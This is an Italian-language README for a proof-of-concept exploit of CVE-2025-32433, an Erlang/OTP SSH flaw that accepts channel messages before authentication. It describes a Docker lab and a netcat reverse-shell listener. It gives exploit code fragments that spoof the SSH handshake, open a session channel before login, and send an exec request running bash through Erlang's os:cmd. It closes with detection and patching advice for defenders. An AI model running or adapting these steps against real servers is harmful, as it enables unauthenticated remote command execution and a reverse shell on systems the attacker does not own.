
Proof-of-concept exploit per CVE-2025-32433, una vulnerabilità di confusione dei canali SSH pre-autenticazione in Erlang/OTP, che dimostra il bypass dell'autenticazione e l'esecuzione remota di codice con un laboratorio Docker.
Descrizione: Una dimostrazione della vulnerabilità di confusione del canale pre-autenticazione SSH Erlang/OTP.
Di cosa tratta questo PoC?
Questa Prova del Concetto dimostra CVE-2025-32433, una vulnerabilità nell'implementazione del server SSH Erlang/OTP che consente a un aggressore di aprire canali SSH ed eseguire comandi prima dell'autenticazione.
A causa di una gestione inadeguata delle transizioni di stato del protocollo SSH, alcuni messaggi SSH (SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST) vengono accettati prima che l'autenticazione utente sia stata completata con successo. Ciò comporta un completo bypass dell'autenticazione e l'esecuzione remota di comandi all'interno della VM Erlang.
Cosa deve essere vulnerabile perché funzioni?
La vulnerabilità può essere attivata quando sono soddisfatte le seguenti condizioni:
ssh di Erlang è abilitataÈ importante notare che questo problema non dipende da credenziali deboli o da una configurazione errata, ma da una gestione difettosa dello stato del protocollo.
Come si manifesta la vulnerabilità e perché è sfruttabile?
Il problema deriva da un difetto di confusione di stato nel server SSH Erlang/OTP, dove lo stato di autenticazione non viene applicato rigorosamente prima che i messaggi relativi ai canali vengano elaborati.
Ad alto livello, lo sfruttamento procede come segue:
SSH_MSG_CHANNEL_OPEN per un canale di sessione.SSH_MSG_CHANNEL_REQUEST di tipo exec sul canale aperto.os:cmd/1) all'interno del contesto della VM.Questo comportamento viola il modello del protocollo SSH definito in RFC 4252/4254, dove la creazione e le richieste dei canali devono essere consentite solo dopo l'autenticazione riuscita.
In breve:
ssh_connection elabora le richieste exec prematuramenteQuesta è una vulnerabilità logica e di gestione dello stato, non una debolezza crittografica.
I seguenti passaggi costruiscono e distribuiscono un ambiente vulnerabile autonomo utilizzando Docker. Il contenitore esegue un server SSH deliberatamente indurito che rifiuta tutte le credenziali, garantendo che qualsiasi esecuzione di comando riuscita sia il risultato di un bypass dell'autenticazione.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Una volta in esecuzione, il demone SSH sarà esposto sulla porta 2222 e pronto per lo sfruttamento utilizzando il PoC fornito.
Questo script sfrutta un difetto nel server SSH Erlang/OTP che consente l'elaborazione di alcuni messaggi del protocollo SSH prima dell'autenticazione.
Il processo di sfruttamento richiede due terminali: uno per ricevere la connessione inversa e un altro per lanciare l'exploit.
Listener (Terminale 1):
nc -lvnp 4488
Esecuzione dell'exploit (Terminale 2):
python3 exploit.py
Spoofing del protocollo
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Questi messaggi vengono utilizzati per far sì che il server consideri la connessione come un client SSH legittimo. Spingono lo stato del protocollo SSH abbastanza avanti da consentire messaggi relativi ai canali senza completare l'autenticazione.
Canale di sessione pre-autenticazione
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Questa richiesta viene utilizzata per aprire un canale di sessione prima dell'autenticazione. Sui server SSH Erlang/OTP vulnerabili, ciò bypassa i normali controlli di accesso e crea una sessione non autorizzata.
Richiesta di esecuzione del comando
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Questa richiesta viene utilizzata per attivare l'esecuzione del comando tramite il runtime Erlang. L'avvolgimento del payload nella sintassi Erlang garantisce che il comando venga eseguito dalla VM Erlang anziché essere trattato come un normale comando shell SSH.
Se il target è vulnerabile, il comando fornito viene eseguito senza autenticazione.


La difesa contro questa vulnerabilità si basa su una rigida segmentazione della rete e sul monitoraggio a livello di protocollo, poiché i log di autenticazione standard potrebbero non registrare i tentativi di bypass (poiché l'autenticazione viene saltata).
SSH_MSG_CHANNEL_OPEN (Tipo 90) vengono inviati subito dopo lo scambio di chiavi, senza un precedente pacchetto SSH_MSG_USERAUTH_SUCCESS (Tipo 52).os:cmd inaspettate o creazione di processi shell che non corrispondono a una sessione utente con accesso riuscito nei log dell'applicazione.L'unica correzione completa è applicare la patch al runtime Erlang/OTP sottostante per imporre transizioni di stato rigorose.
Aggiornare immediatamente il runtime Erlang/OTP a una versione che imponga i controlli di autenticazione prima della creazione del canale. Assicurarsi di eseguire una versione più recente di quelle elencate nella sezione "Condizioni Affette".
Controllare le Release ufficiali di Erlang/OTP su GitHub per le ultime patch di sicurezza.
Se un aggiornamento immediato non è possibile, applicare i seguenti controlli:
Disabilitare l'applicazione SSH: Se l'interfaccia SSH non è mission-critical, arrestare l'applicazione per rimuovere la superficie d'attacco:
ssh:stop().
Whitelist del firewall: Limitare rigorosamente l'accesso di rete alla porta SSH esposta solo a sottoreti amministrative interne.
Antonie Șoga
AntonieSoga · Collaboratore
Ene Călin Tudor
7uddy · Collaboratore
Cristian Bănică
BanicaCristian04 · Collaboratore
Solo per ricerca educativa e difensiva.
